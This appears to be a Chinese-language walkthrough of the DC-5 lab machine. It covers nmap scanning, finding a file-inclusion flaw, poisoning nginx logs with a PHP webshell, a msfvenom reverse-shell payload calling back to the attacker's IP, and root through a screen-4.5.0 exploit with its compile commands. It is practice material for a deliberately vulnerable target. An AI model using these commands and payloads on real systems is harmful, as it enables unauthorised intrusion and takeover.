靶机地址
一.进行信息收集
1.使用nmap扫描,进行主机发现
nmap -sn 192.168.25.0/24
使用nmap扫描之后发现ip地址为:192.168.25.149
2.使用nmap进行端口扫描
nmap -p 1-65535 -T4 -A -v 192.168.25.149
发现其开启了80,111,43209端口
3.使用小工具收集web指纹信息,只有一个nginx的信息
4.敏感目录扫描
dirsearch -u 192.168.25.149
目录不多,分别访问看看,在刷新这个页面的时候,发现这个数字有变化,猜测可能存在文件包含漏洞
二.进行漏洞扫描
1.可以利用nmap的漏洞库对其开放的端口进行扫描
nmap --script=vuln -p80,111,43209 192.168.25.149
没有发现可以利用的漏洞
2.刷新这个页面,使用burpsuite抓包,发现是get请求
3.发送到intruder模块,对这个文件参数进行爆破
4.爆破得到参数为file
5.将抓取的包发送至repeater模块
1.百度得到nginx 1.6.2的配置文件目录为/etc/nginx/nginx.conf,修改参数
2. 找到了它的两个日志文件的目录
3.继续修改参数访问nginx的日志,发送数据包
4.里面包含了错误日志,请求信息也是明文显示
5.尝试将参数修改为一句话木马
6.看到一句话木马成功显示
6.访问错误日志,使用菜刀连接
1.连接成功
2.这里可以直接使用nc进行反弹shell,我这里是加强msf 的使用
使用msf的msfvenom模块,生成一个木马文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=172.23.11.188 LPORT=4444 -f raw > shell.php
172.23.11.188这是我kali的ip
3.将生成的木马文件,用蚁剑上传到/tmp目录下,因为这个目录有权限
4. 启动msf,使用exploit/multi/handler模块侦听,设置payload和ip
5.访问/tmp.shell.php,发现msf中已经上线
6.使用shell命令进入命令行
7.利用python的pty模块反弹shell
python -c "import pty;pty.spawn('/bin/sh')";
三.权限提升
1.查看具有root用户权限的文件命令
find / -user root -perm -4000 -print 2>/dev/null
2.尝试过后,都不可以,发现有一个root权限的screen-4.5.0
1.用searchsploit看一下有没有可以利用的漏洞
2.有个可用的脚本,看看它的文件位置
3.按照41152.txt中的方法,发现没有权限,修改权限失败
3.使用41154.sh提权
1.将41154.sh中的这部分代码,新建一个文件
2.使用命令编译得到libhax.so文件
gcc -fPIC -shared -ldl -o libhax.so libhax.c
3.将41154.sh中的这部分代码,新建一个文件
4.使用命令编译得到rootshell文件
gcc -o rootshell rootshell.c
5.将这部分命令作为一个.sh文件
6.将dc5.sh,rotshell,libhax.so三个文件通过蚁剑上传到靶机的/tmp目录下
7.修改dc5.sh权限
4.在靶机的/tmp目录下,使用命令./dc5.sh获取到root权限
5.拿到最终flag